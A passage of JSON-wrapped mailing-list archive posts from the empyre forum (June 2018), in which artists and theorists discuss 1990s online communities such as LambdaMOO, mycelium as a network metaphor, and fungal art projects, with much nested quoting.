and\nThe Word and is focused on innovations in computation by women.\n\nOf course one could ask whether the linear prose form of the book is the\nbest or even a necessary way of documenting such things. I think of the book\nas an instance of what dollyoko calls \"successionist servers.\" Its hard to\nkeep them out of Amazon, one of the biggest vectoral class enterprises of\nour time, but they will at least 'run' independently of that proprietary\nenvironment.\n\nA book is a concentrated swarm whereas online communication tend to default\nto dispersed ones....\n\ndollyoko has some great language for an ongoing project: secessionist\nservers, intentional family, open family platforms, vernacular approaches to\ninfrastructure. (To just pick a few that i think go together with the themes\nShu Lea suggested).\n\nMaybe its a good thing that 90s cyberculture experiments ended up largely\ninvisible and excluded from history, as now it might be time to be rather\ndiscreet about the possibilities uncovered then. Maybe it was a good thing\nfor mycelium that it was largely invisible for so long, as nobody figured\nout how to monetize it.\n\nmw\n\nOn Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> dear shu lea and empyreans\n>\n> yes, finger fucking across platforms and waters, deep code luscious \n> moon brown stem the shadow of a venetian blind on summer body in \n> borrowed loft wiping sweat, not swiping left (write left alt write) \n> Floodnet!\n>\n> i'm immersing eyes into this generous mycelial conversation today \n> feeling the tendrils of one hundred minds\n>\n> 'powerful poetic gestures'\n> 'alternate sentiences'\n> 'the incomputable'\n> 'nature is not a system'\n> 'break all separations'\n> 'imps fuelling the real'\n> 'vernacular approach to infrastructure'\n> 't-shroom as family heritage and long-living family member'\n> 'i have a vast genetic network in me'\n> 'we begin to think like a forest'\n>\n> how to extend the intentional families we (of a certain age) created \n> in the 90s [while perhaps reading Bruce Stirling's Dead Media list, or \n> skiving off to PMCMoo or RiverMOO when LambdaMOO was down] before \n> other 'we(s)' were born\n>\n> Jonathan Marshall's book 'Living on Cybermind' might be one answer to \n> Ken's Q about how to capture the non-linear threaded lives\n>\n> i've been returning to build at LambdaMoo since around 2013, prompted \n> by projects such as Networked Art Forms and Tactical Magick Faerie \n> Circuits - instigated by the wonderful Nancy Mauro-Flude, and (equally \n> wonderful) Furtherfield's Beyond the Interface... I'm not sure what \n> the mycelial potential of such old platforms might be, I suspect \n> there's something though...... for example, a nascent project I'm \n> doing with Virginia Barratt and Alice Farmer takes as it starting point:\n>\n> -----------------------------------\n>\n> \"A multi-platform artwork comprising a LambdaMOO environment \n> (multi-user domain object-oriented), performing avatars, improvised \n> performance, experimental hypertext fiction, cryptokitties on the \n> (ethereum) blockchain, and a hand-bound XenZine. The subject is the \n> construction of intentional family beyond blood and kind.\n>\n> We revisit LambdaMOO as a site for gender non-conforming \n> subjectivities to explore the production of xenofam and xenobodies, \n> outside of social re-production, and bring those practices to bear \n> upon the \"real\". Only a few years after the emergence of the WWW, \n> social networking habits were harnessed and stratified into machines \n> for the production of social capital and new affective forms of \n> extractivism within the paradigm of info-capitalism. Yet the outlier \n> LambdaMOO is still maintained by a small phreak family as a working \n> experiment, an enclave among other secessionist servers (caves, \n> sinkholes, hackpads, labyrinthine clouds) carving out space to platform\nlives of creative resistance, blasphemy and joy.\n>\n> The performing avatars, the unholy trinity of Witchmum, Mum 2.0 and \n> Precocious Meme Savant, have cooked, co-habited and coded as \n> becoming-kin to instantiate xenofam, building affective bonds through \n> which datablood flows. This queered approach to extensible and open \n> family platforms generates intentional spaces for the reconfiguration \n> of blood ties beyond blood types, and another mode of hexing Capital.\"\n>\n> --------------------\n>\n> I want to write more, but I need to buy bread as I can't wait the 12 \n> hours for the wild yeasts to do their thing.\n> I will try to attract some xenofeminist and other spores this way \n> while thinking about how Ken's 'we no longer have roots, we have aerials'\n> might take a mycelial turn\n>\n>\n> Warmly, to all\n> doll fingers + witch thoughts, perhaps a spell cast from and to this \n> conversation, tomorrow\n>\n>\n>\n> > ----------empyre- soft-skinned\n> > space----------------------_________________________________\n> ______________\n> > empyre forum\n> > empyre at lists.artdesign.unsw.edu.au\n> > http://empyre.library.cornell.edu\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n\n\n\n-- \n\nMcKenzie Wark\n*Professor of Media and Culture*\nEUGENE LANG COLLEGE\n65 w11th st, NEW YORK, NY 10011\n\nwarkk at newschool.edu\n<http://www.newschool.edu/marketing-communication/email-signature.html#>\nT 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n\n",
                                        "date": "Tue Jun 26 03:10:31 AEST 2018",
                                        "message-id": "10350",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010350.html",
                                        "content-type": "n/a",
                                        "author_name": "patrick lichty",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "warkk at newschool.edu",
                                        "id": "10351",
                                        "content": "Thanks for the links, Alice. I started reading but Nick Land came up so i\nstopped reading immediately. I never took him to be state-of-the-art\ntheory. Others might find the space interesting but its just not for me.\nReaons given here: https://www.versobooks.com/blogs/3284-on-nick-land\n\nPatrick is i think pointing us both back to the nineties but also forward,\nand i think that's a good note to hit before anyone starts getting into a\nnostalgic vein. I think its more about bracketing-off what networks came to\nbe in the two consolidations of the power of what i call the vectoralist\nclass. The first was around 2000, with the rise of corporate forms built on\nnothing but IP. The second came a decade later, with the commdification not\njust of information but also of the social network itself.\n\nPatrick also asks why the mushroom as a figure. I don't really understand\nhow this part works, but it is the bit i find intriguing: that mushrooms\nhave 36,000 genders, or something like that. Maybe Shu Lea's introduction\nof the mycelium into discussion will encourage me to get a layhumans' grasp\non how that works. It seems just at first sight to be be an interesting\nthought-image of how protocols might work otherwise.\n\nmw\n\nOn Mon, Jun 25, 2018 at 1:10 PM, patrick lichty <p at voyd.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> As someone who would call himself postcybernetic rather than  postinternet,\n> I agree with Dollyoko nd Ken.  The spaces for intereaction were highly\n> heterogenous and diverse, and Honestly, I find the postinternet discourse\n> relatively bland by comparison, as a lot of what it talks about is\n> reference\n> to postcybernetic/cyberdelic.  MOOs, MUDs, Even back to nets of online\n> communities (Thing, Compuserve, Delphi, Fidonet, Usenet) was amazing. In\n> many ways it seems like the corporate stacks combined with academic FOMO\n> has\n> created a tremendous amount of conservatism compared to the crash theory\n> days of the Krokers.\n>\n> In many ways, I think our era of risk aversion and its pruning of the\n> rhizome is indicative of the relationship between culture and capital.  As\n> art fairs and consolidating gallery culture, as well as the struggle (in my\n> mind) to figure ourselves out more as Postmodernism fractured into the\n> Speculative Turn, the notion of the rhizome has turned into reality bubble\n> foam that generally swirls under megacorporate umbrellas.\n>\n> This is why I love things like Dina Karadzic's FUBAR bunch, and Shu Lea's\n> work the other year at the Leonore residency, but I also wonder why the\n> notion of the mycorhizome is so strong these days as opposed to the\n> strawberry patch (Deleuze), is it a subliminal signifier of fruit and decay\n> and rebirth?\n>\n> Also very interested in t-shroom discussion.\n>\n> Love from the desert\n> (also apologies for the typos - my current computer has a very flaky\n> keyboard)\n>\n>\n>\n> -----Original Message-----\n> From: empyre-bounces at lists.artdesign.unsw.edu.au\n> <empyre-bounces at lists.artdesign.unsw.edu.au> On Behalf Of warkk\n> Sent: Monday, June 25, 2018 4:13 PM\n> To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\n> Subject: Re: [-empyre-] rehearsal of a network - [week 4]\n>\n> Alan is quite right to stress how extensive the options were for online\n> encounters in the 90s, beyond the handful i named. The larger point might\n> still be that knowledge of any of that world is fairly thin these days.\n> There are a few period accounts. dollyoko mentions Marshall's Living on\n> Cybermind. Julian Dibbell wrote a book about LambdaMoo. There's a new book\n> by Claire Evans called Broad Band that has good brief accounnts of Echo and\n> The Word and is focused on innovations in computation by women.\n>\n> Of course one could ask whether the linear prose form of the book is the\n> best or even a necessary way of documenting such things. I think of the\n> book\n> as an instance of what dollyoko calls \"successionist servers.\" Its hard to\n> keep them out of Amazon, one of the biggest vectoral class enterprises of\n> our time, but they will at least 'run' independently of that proprietary\n> environment.\n>\n> A book is a concentrated swarm whereas online communication tend to default\n> to dispersed ones....\n>\n> dollyoko has some great language for an ongoing project: secessionist\n> servers, intentional family, open family platforms, vernacular approaches\n> to\n> infrastructure. (To just pick a few that i think go together with the\n> themes\n> Shu Lea suggested).\n>\n> Maybe its a good thing that 90s cyberculture experiments ended up largely\n> invisible and excluded from history, as now it might be time to be rather\n> discreet about the possibilities uncovered then. Maybe it was a good thing\n> for mycelium that it was largely invisible for so long, as nobody figured\n> out how to monetize it.\n>\n> mw\n>\n> On Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net> wrote:\n>\n> > ----------empyre- soft-skinned space----------------------\n> >\n> > dear shu lea and empyreans\n> >\n> > yes, finger fucking across platforms and waters, deep code luscious\n> > moon brown stem the shadow of a venetian blind on summer body in\n> > borrowed loft wiping sweat, not swiping left (write left alt write)\n> > Floodnet!\n> >\n> > i'm immersing eyes into this generous mycelial conversation today\n> > feeling the tendrils of one hundred minds\n> >\n> > 'powerful poetic gestures'\n> > 'alternate sentiences'\n> > 'the incomputable'\n> > 'nature is not a system'\n> > 'break all separations'\n> > 'imps fuelling the real'\n> > 'vernacular approach to infrastructure'\n> > 't-shroom as family heritage and long-living family member'\n> > 'i have a vast genetic network in me'\n> > 'we begin to think like a forest'\n> >\n> > how to extend the intentional families we (of a certain age) created\n> > in the 90s [while perhaps reading Bruce Stirling's Dead Media list, or\n> > skiving off to PMCMoo or RiverMOO when LambdaMOO was down] before\n> > other 'we(s)' were born\n> >\n> > Jonathan Marshall's book 'Living on Cybermind' might be one answer to\n> > Ken's Q about how to capture the non-linear threaded lives\n> >\n> > i've been returning to build at LambdaMoo since around 2013, prompted\n> > by projects such as Networked Art Forms and Tactical Magick Faerie\n> > Circuits - instigated by the wonderful Nancy Mauro-Flude, and (equally\n> > wonderful) Furtherfield's Beyond the Interface... I'm not sure what\n> > the mycelial potential of such old platforms might be, I suspect\n> > there's something though...... for example, a nascent project I'm\n> > doing with Virginia Barratt and Alice Farmer takes as it starting point:\n> >\n> > -----------------------------------\n> >\n> > \"A multi-platform artwork comprising a LambdaMOO environment\n> > (multi-user domain object-oriented), performing avatars, improvised\n> > performance, experimental hypertext fiction, cryptokitties on the\n> > (ethereum) blockchain, and a hand-bound XenZine. The subject is the\n> > construction of intentional family beyond blood and kind.\n> >\n> > We revisit LambdaMOO as a site for gender non-conforming\n> > subjectivities to explore the production of xenofam and xenobodies,\n> > outside of social re-production, and bring those practices to bear\n> > upon the \"real\". Only a few years after the emergence of the WWW,\n> > social networking habits were harnessed and stratified into machines\n> > for the production of social capital and new affective forms of\n> > extractivism within the paradigm of info-capitalism. Yet the outlier\n> > LambdaMOO is still maintained by a small phreak family as a working\n> > experiment, an enclave among other secessionist servers (caves,\n> > sinkholes, hackpads, labyrinthine clouds) carving out space to platform\n> lives of creative resistance, blasphemy and joy.\n> >\n> > The performing avatars, the unholy trinity of Witchmum, Mum 2.0 and\n> > Precocious Meme Savant, have cooked, co-habited and coded as\n> > becoming-kin to instantiate xenofam, building affective bonds through\n> > which datablood flows. This queered approach to extensible and open\n> > family platforms generates intentional spaces for the reconfiguration\n> > of blood ties beyond blood types, and another mode of hexing Capital.\"\n> >\n> > --------------------\n> >\n> > I want to write more, but I need to buy bread as I can't wait the 12\n> > hours for the wild yeasts to do their thing.\n> > I will try to attract some xenofeminist and other spores this way\n> > while thinking about how Ken's 'we no longer have roots, we have aerials'\n> > might take a mycelial turn\n> >\n> >\n> > Warmly, to all\n> > doll fingers + witch thoughts, perhaps a spell cast from and to this\n> > conversation, tomorrow\n> >\n> >\n> >\n> > > ----------empyre- soft-skinned\n> > > space----------------------_________________________________\n> > ______________\n> > > empyre forum\n> > > empyre at lists.artdesign.unsw.edu.au\n> > > http://empyre.library.cornell.edu\n> >\n> >\n> > _______________________________________________\n> > empyre forum\n> > empyre at lists.artdesign.unsw.edu.au\n> > http://empyre.library.cornell.edu\n> >\n>\n>\n>\n> --\n>\n> McKenzie Wark\n> *Professor of Media and Culture*\n> EUGENE LANG COLLEGE\n> 65 w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu\n> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n>\n\n\n\n-- \n\nMcKenzie Wark\n*Professor of Media and Culture*\nEUGENE LANG COLLEGE\n65 w11th st, NEW YORK, NY 10011\n\nwarkk at newschool.edu\n<http://www.newschool.edu/marketing-communication/email-signature.html#>\nT 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180625/218e0a4e/attachment.html>\n",
                                        "date": "Tue Jun 26 04:06:19 AEST 2018",
                                        "message-id": "10351",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010351.html",
                                        "content-type": "n/a",
                                        "author_name": "warkk",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10352",
                                        "content": "ok\n\non how mycelium/mushroom as a figure ... the mycelium cult would wants \nto dive in and argue forever , but quickly, we quote-\n\nMy mecelium network is nearly immortal, only the sudden toxification of \na planet or the explosion of its parent star can wipe me out\u2026 all my \nmycelial networks in the galaxy are in hyper light communication across \nspace and time. - Terence McKenna, The Mushnoon speaks\n\nI believe that mycelium is the neurological network of nature. \nInterlacing mosaics of mycelium infuse habitats with information-sharing \nmembranes. \u2026..The mycelium stays in constant molecular communication \nwith its environment, devising diverse enzymatic and chemical responses \nto complex challenges. - Paul Stamets, Mycelium Running: How Mushrooms \nCan Help Save the World\n\nWe are stuck with the problem of living despite economic and ecological \nruination\u2026.. Neither tales of progress nor of ruin tell us how to think \nabout collaborative survival. It is time to pay attention to mushroom \npicking. Not that this will save us\u2014 but it might open our imaginations. \n- Anna Lowenhaupt Tsing, The mushroom at the end of the world : on the \npossibility of life in capitalist ruins\n\nThis answers back to [week 1] how we got started... interesting we flash \nback to the 90s here..\n\nbring up all nodes and bolts... loosen and to be fastened...\n\ndamn, and dollyoko are finger tight!!\n\nover\n\nsl\n\n\nOn 25/06/18 20:06, warkk wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Thanks for the links, Alice. I started reading but Nick Land came up \n> so i stopped reading immediately. I never took him to be \n> state-of-the-art theory. Others might find the space interesting but \n> its just not for me. Reaons given here: \n> https://www.versobooks.com/blogs/3284-on-nick-land\n>\n> Patrick is i think pointing us both back to the nineties but also \n> forward, and i think that's a good note to hit before anyone starts \n> getting into a nostalgic vein. I think its more about bracketing-off \n> what networks came to be in the two consolidations of the power of \n> what i call the vectoralist class. The first was around 2000, with the \n> rise of corporate forms built on nothing but IP. The second came a \n> decade later, with the commdification not just of information but also \n> of the social network itself.\n>\n> Patrick also asks why the mushroom as a figure. I don't really \n> understand how this part works, but it is the bit i find intriguing: \n> that mushrooms have 36,000 genders, or something like that. Maybe Shu \n> Lea's introduction of the mycelium into discussion will encourage me \n> to get a layhumans' grasp on how that works. It seems just at first \n> sight to be be an interesting thought-image of how protocols might \n> work otherwise.\n>\n> mw\n>\n> On Mon, Jun 25, 2018 at 1:10 PM, patrick lichty <p at voyd.com \n> <mailto:p at voyd.com>> wrote:\n>\n>     ----------empyre- soft-skinned space----------------------\n>     As someone who would call himself postcybernetic rather than \n>     postinternet,\n>     I agree with Dollyoko nd Ken.  The spaces for intereaction were highly\n>     heterogenous and diverse, and Honestly, I find the postinternet\n>     discourse\n>     relatively bland by comparison, as a lot of what it talks about is\n>     reference\n>     to postcybernetic/cyberdelic.  MOOs, MUDs, Even back to nets of online\n>     communities (Thing, Compuserve, Delphi, Fidonet, Usenet) was\n>     amazing. In\n>     many ways it seems like the corporate stacks combined with\n>     academic FOMO has\n>     created a tremendous amount of conservatism compared to the crash\n>     theory\n>     days of the Krokers.\n>\n>     In many ways, I think our era of risk aversion and its pruning of the\n>     rhizome is indicative of the relationship between culture and\n>     capital.  As\n>     art fairs and consolidating gallery culture, as well as the\n>     struggle (in my\n>     mind) to figure ourselves out more as Postmodernism fractured into the\n>     Speculative Turn, the notion of the rhizome has turned into\n>     reality bubble\n>     foam that generally swirls under megacorporate umbrellas.\n>\n>     This is why I love things like Dina Karadzic's FUBAR bunch, and\n>     Shu Lea's\n>     work the other year at the Leonore residency, but I also wonder\n>     why the\n>     notion of the mycorhizome is so strong these days as opposed to the\n>     strawberry patch (Deleuze), is it a subliminal signifier of fruit\n>     and decay\n>     and rebirth?\n>\n>     Also very interested in t-shroom discussion.\n>\n>     Love from the desert\n>     (also apologies for the typos - my current computer has a very flaky\n>     keyboard)\n>\n>\n>\n>     -----Original Message-----\n>     From: empyre-bounces at lists.artdesign.unsw.edu.au\n>     <mailto:empyre-bounces at lists.artdesign.unsw.edu.au>\n>     <empyre-bounces at lists.artdesign.unsw.edu.au\n>     <mailto:empyre-bounces at lists.artdesign.unsw.edu.au>> On Behalf Of\n>     warkk\n>     Sent: Monday, June 25, 2018 4:13 PM\n>     To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>>\n>     Subject: Re: [-empyre-] rehearsal of a network - [week 4]\n>\n>     Alan is quite right to stress how extensive the options were for\n>     online\n>     encounters in the 90s, beyond the handful i named. The larger\n>     point might\n>     still be that knowledge of any of that world is fairly thin these\n>     days.\n>     There are a few period accounts. dollyoko mentions Marshall's\n>     Living on\n>     Cybermind. Julian Dibbell wrote a book about LambdaMoo. There's a\n>     new book\n>     by Claire Evans called Broad Band that has good brief accounnts of\n>     Echo and\n>     The Word and is focused on innovations in computation by women.\n>\n>     Of course one could ask whether the linear prose form of the book\n>     is the\n>     best or even a necessary way of documenting such things. I think\n>     of the book\n>     as an instance of what dollyoko calls \"successionist servers.\" Its\n>     hard to\n>     keep them out of Amazon, one of the biggest vectoral class\n>     enterprises of\n>     our time, but they will at least 'run' independently of that\n>     proprietary\n>     environment.\n>\n>     A book is a concentrated swarm whereas online communication tend\n>     to default\n>     to dispersed ones....\n>\n>     dollyoko has some great language for an ongoing project: secessionist\n>     servers, intentional family, open family platforms, vernacular\n>     approaches to\n>     infrastructure. (To just pick a few that i think go together with\n>     the themes\n>     Shu Lea suggested).\n>\n>     Maybe its a good thing that 90s cyberculture experiments ended up\n>     largely\n>     invisible and excluded from history, as now it might be time to be\n>     rather\n>     discreet about the possibilities uncovered then. Maybe it was a\n>     good thing\n>     for mycelium that it was largely invisible for so long, as nobody\n>     figured\n>     out how to monetize it.\n>\n>     mw\n>\n>     On Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net\n>     <mailto:dollyoko at thing.net>> wrote:\n>\n>     > ----------empyre- soft-skinned space----------------------\n>     >\n>     > dear shu lea and empyreans\n>     >\n>     > yes, finger fucking across platforms and waters, deep code luscious\n>     > moon brown stem the shadow of a venetian blind on summer body in\n>     > borrowed loft wiping sweat, not swiping left (write left alt write)\n>     > Floodnet!\n>     >\n>     > i'm immersing eyes into this generous mycelial conversation today\n>     > feeling the tendrils of one hundred minds\n>     >\n>     > 'powerful poetic gestures'\n>     > 'alternate sentiences'\n>     > 'the incomputable'\n>     > 'nature is not a system'\n>     > 'break all separations'\n>     > 'imps fuelling the real'\n>     > 'vernacular approach to infrastructure'\n>     > 't-shroom as family heritage and long-living family member'\n>     > 'i have a vast genetic network in me'\n>     > 'we begin to think like a forest'\n>     >\n>     > how to extend the intentional families we (of a certain age)\n>     created\n>     > in the 90s [while perhaps reading Bruce Stirling's Dead Media\n>     list, or\n>     > skiving off to PMCMoo or RiverMOO when LambdaMOO was down] before\n>     > other 'we(s)' were born\n>     >\n>     > Jonathan Marshall's book 'Living on Cybermind' might be one\n>     answer to\n>     > Ken's Q about how to capture the non-linear threaded lives\n>     >\n>     > i've been returning to build at LambdaMoo since around 2013,\n>     prompted\n>     > by projects such as Networked Art Forms and Tactical Magick Faerie\n>     > Circuits - instigated by the wonderful Nancy Mauro-Flude, and\n>     (equally\n>     > wonderful) Furtherfield's Beyond the Interface... I'm not sure what\n>     > the mycelial potential of such old platforms might be, I suspect\n>     > there's something though...... for example, a nascent project I'm\n>     > doing with Virginia Barratt and Alice Farmer takes as it\n>     starting point:\n>     >\n>     > -----------------------------------\n>     >\n>     > \"A multi-platform artwork comprising a LambdaMOO environment\n>     > (multi-user domain object-oriented), performing avatars, improvised\n>     > performance, experimental hypertext fiction, cryptokitties on the\n>     > (ethereum) blockchain, and a hand-bound XenZine. The subject is the\n>     > construction of intentional family beyond blood and kind.\n>     >\n>     > We revisit LambdaMOO as a site for gender non-conforming\n>     > subjectivities to explore the production of xenofam and xenobodies,\n>     > outside of social re-production, and bring those practices to bear\n>     > upon the \"real\". Only a few years after the emergence of the WWW,\n>     > social networking habits were harnessed and stratified into\n>     machines\n>     > for the production of social capital and new affective forms of\n>     > extractivism within the paradigm of info-capitalism. Yet the\n>     outlier\n>     > LambdaMOO is still maintained by a small phreak family as a working\n>     > experiment, an enclave among other secessionist servers (caves,\n>     > sinkholes, hackpads, labyrinthine clouds) carving out space to\n>     platform\n>     lives of creative resistance, blasphemy and joy.\n>     >\n>     > The performing avatars, the unholy trinity of Witchmum, Mum 2.0 and\n>     > Precocious Meme Savant, have cooked, co-habited and coded as\n>     > becoming-kin to instantiate xenofam, building affective bonds\n>     through\n>     > which datablood flows. This queered approach to extensible and open\n>     > family platforms generates intentional spaces for the\n>     reconfiguration\n>     > of blood ties beyond blood types, and another mode of hexing\n>     Capital.\"\n>     >\n>     > --------------------\n>     >\n>     > I want to write more, but I need to buy bread as I can't wait\n>     the 12\n>     > hours for the wild yeasts to do their thing.\n>     > I will try to attract some xenofeminist and other spores this way\n>     > while thinking about how Ken's 'we no longer have roots, we have\n>     aerials'\n>     > might take a mycelial turn\n>     >\n>     >\n>     > Warmly, to all\n>     > doll fingers + witch thoughts, perhaps a spell cast from and to\n>     this\n>     > conversation, tomorrow\n>     >\n>     >\n>     >\n>     > > ----------empyre- soft-skinned\n>     > > space----------------------_________________________________\n>     > ______________\n>     > > empyre forum\n>     > > empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>     > > http://empyre.library.cornell.edu\n>     <http://empyre.library.cornell.edu>\n>     >\n>     >\n>     > _______________________________________________\n>     > empyre forum\n>     > empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>     > http://empyre.library.cornell.edu\n>     <http://empyre.library.cornell.edu>\n>     >\n>\n>\n>\n>     -- \n>\n>     McKenzie Wark\n>     *Professor of Media and Culture*\n>     EUGENE LANG COLLEGE\n>     65 w11th st, NEW YORK, NY 10011\n>\n>     warkk at newschool.edu <mailto:warkk at newschool.edu>\n>     <http://www.newschool.edu/marketing-communication/email-signature.html#\n>     <http://www.newschool.edu/marketing-communication/email-signature.html#>>\n>     T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n>     _______________________________________________\n>     empyre forum\n>     empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>     http://empyre.library.cornell.edu <http://empyre.library.cornell.edu>\n>\n>\n>\n>\n> -- \n>\n> McKenzie Wark\n> *Professor of Media and Culture*\n> EUGENE LANG COLLEGE\n> 65 w11th st, NEW YORK, NY 10011\n>\n> warkk at newschool.edu \n> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180625/062d0af0/attachment.html>\n",
                                        "date": "Tue Jun 26 04:37:42 AEST 2018",
                                        "message-id": "10352",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010352.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10356",
                                        "content": "many thanks for Virginia's garden tips..\n\nand to Jaromil, so bitcoins failed, and the blockchain is taking over \nthe art market?\n\nSpeaking of art-\n\na few projects that started Mycelium Network Society\n\nRADIO MYCELIUM by Martin Howse\n\nhttps://fo.am/radio_mycelium/  (a workshop at FOAM in 2011, will also be \nat STWST48x4/ARS this september)\n\nAzucena Sanchez' Narco Cultivos that tracks Mexico's drug trafficing \nnetwork with behavior patterns of physarum polycephalum.\n\nhttp://azusnz.com/narco-cultivos/\n\nThe T-shroom project by Kartina Neiburga and Art bureau OPEN (Ilze Black)\nhttp://open.x-i.net/tsene/index2.html\n\nThe gorgeous Spore Print Film Series by Anna Schime of Buffalo\nhttp://www.a--a.org/project/spore-print-film-series\nhttps://vimeo.com/85092290\n\nTaro's Myco-Logick\nhttps://stwst48x2.stwst.at/myco-logick\n\nand Sa\u0161a Spa\u010dal's (from Ljubljana, supported by Kapelica gallery) series \nof mycophonic works\nhttps://mycophone.wordpress.com/mycophone_unison/\n\nAfter all, MNS wants to connect local network nodes who would cultivate \nartists who work with fungal stuff....\n\nover\nsl\n\n\n\n\n\n\nOn 25/06/18 20:37, Shu Lea Cheang wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> ok\n>\n> on how mycelium/mushroom as a figure ... the mycelium cult would wants \n> to dive in and argue forever , but quickly, we quote-\n>\n> My mecelium network is nearly immortal, only the sudden toxification \n> of a planet or the explosion of its parent star can wipe me out\u2026 all \n> my mycelial networks in the galaxy are in hyper light communication \n> across space and time. - Terence McKenna, The Mushnoon speaks\n>\n> I believe that mycelium is the neurological network of nature. \n> Interlacing mosaics of mycelium infuse habitats with \n> information-sharing membranes. \u2026..The mycelium stays in constant \n> molecular communication with its environment, devising diverse \n> enzymatic and chemical responses to complex challenges. - Paul \n> Stamets, Mycelium Running: How Mushrooms Can Help Save the World\n>\n> We are stuck with the problem of living despite economic and \n> ecological ruination\u2026.. Neither tales of progress nor of ruin tell us \n> how to think about collaborative survival. It is time to pay attention \n> to mushroom picking. Not that this will save us\u2014 but it might open our \n> imaginations. - Anna Lowenhaupt Tsing, The mushroom at the end of the \n> world : on the possibility of life in capitalist ruins\n>\n> This answers back to [week 1] how we got started... interesting we \n> flash back to the 90s here..\n>\n> bring up all nodes and bolts... loosen and to be fastened...\n>\n> damn, and dollyoko are finger tight!!\n>\n> over\n>\n> sl\n>\n>\n> On 25/06/18 20:06, warkk wrote:\n>> ----------empyre- soft-skinned space----------------------\n>>\n>>\n>> Thanks for the links, Alice. I started reading but Nick Land came up \n>> so i stopped reading immediately. I never took him to be \n>> state-of-the-art theory. Others might find the space interesting but \n>> its just not for me. Reaons given here: \n>> https://www.versobooks.com/blogs/3284-on-nick-land\n>>\n>> Patrick is i think pointing us both back to the nineties but also \n>> forward, and i think that's a good note to hit before anyone starts \n>> getting into a nostalgic vein. I think its more about bracketing-off \n>> what networks came to be in the two consolidations of the power of \n>> what i call the vectoralist class. The first was around 2000, with \n>> the rise of corporate forms built on nothing but IP. The second came \n>> a decade later, with the commdification not just of information but \n>> also of the social network itself.\n>>\n>> Patrick also asks why the mushroom as a figure. I don't really \n>> understand how this part works, but it is the bit i find intriguing: \n>> that mushrooms have 36,000 genders, or something like that. Maybe Shu \n>> Lea's introduction of the mycelium into discussion will encourage me \n>> to get a layhumans' grasp on how that works. It seems just at first \n>> sight to be be an interesting thought-image of how protocols might \n>> work otherwise.\n>>\n>> mw\n>>\n>> On Mon, Jun 25, 2018 at 1:10 PM, patrick lichty <p at voyd.com \n>> <mailto:p at voyd.com>> wrote:\n>>\n>>     ----------empyre- soft-skinned space----------------------\n>>     As someone who would call himself postcybernetic rather than \n>>     postinternet,\n>>     I agree with Dollyoko nd Ken.  The spaces for intereaction were\n>>     highly\n>>     heterogenous and diverse, and Honestly, I find the postinternet\n>>     discourse\n>>     relatively bland by comparison, as a lot of what it talks about\n>>     is reference\n>>     to postcybernetic/cyberdelic.  MOOs, MUDs, Even back to nets of\n>>     online\n>>     communities (Thing, Compuserve, Delphi, Fidonet, Usenet) was\n>>     amazing. In\n>>     many ways it seems like the corporate stacks combined with\n>>     academic FOMO has\n>>     created a tremendous amount of conservatism compared to the crash\n>>     theory\n>>     days of the Krokers.\n>>\n>>     In many ways, I think our era of risk aversion and its pruning of the\n>>     rhizome is indicative of the relationship between culture and\n>>     capital.  As\n>>     art fairs and consolidating gallery culture, as well as the\n>>     struggle (in my\n>>     mind) to figure ourselves out more as Postmodernism fractured\n>>     into the\n>>     Speculative Turn, the notion of the rhizome has turned into\n>>     reality bubble\n>>     foam that generally swirls under megacorporate umbrellas.\n>>\n>>     This is why I love things like Dina Karadzic's FUBAR bunch, and\n>>     Shu Lea's\n>>     work the other year at the Leonore residency, but I also wonder\n>>     why the\n>>     notion of the mycorhizome is so strong these days as opposed to the\n>>     strawberry patch (Deleuze), is it a subliminal signifier of fruit\n>>     and decay\n>>     and rebirth?\n>>\n>>     Also very interested in t-shroom discussion.\n>>\n>>     Love from the desert\n>>     (also apologies for the typos - my current computer has a very flaky\n>>     keyboard)\n>>\n>>\n>>\n>>     -----Original Message-----\n>>     From: empyre-bounces at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre-bounces at lists.artdesign.unsw.edu.au>\n>>     <empyre-bounces at 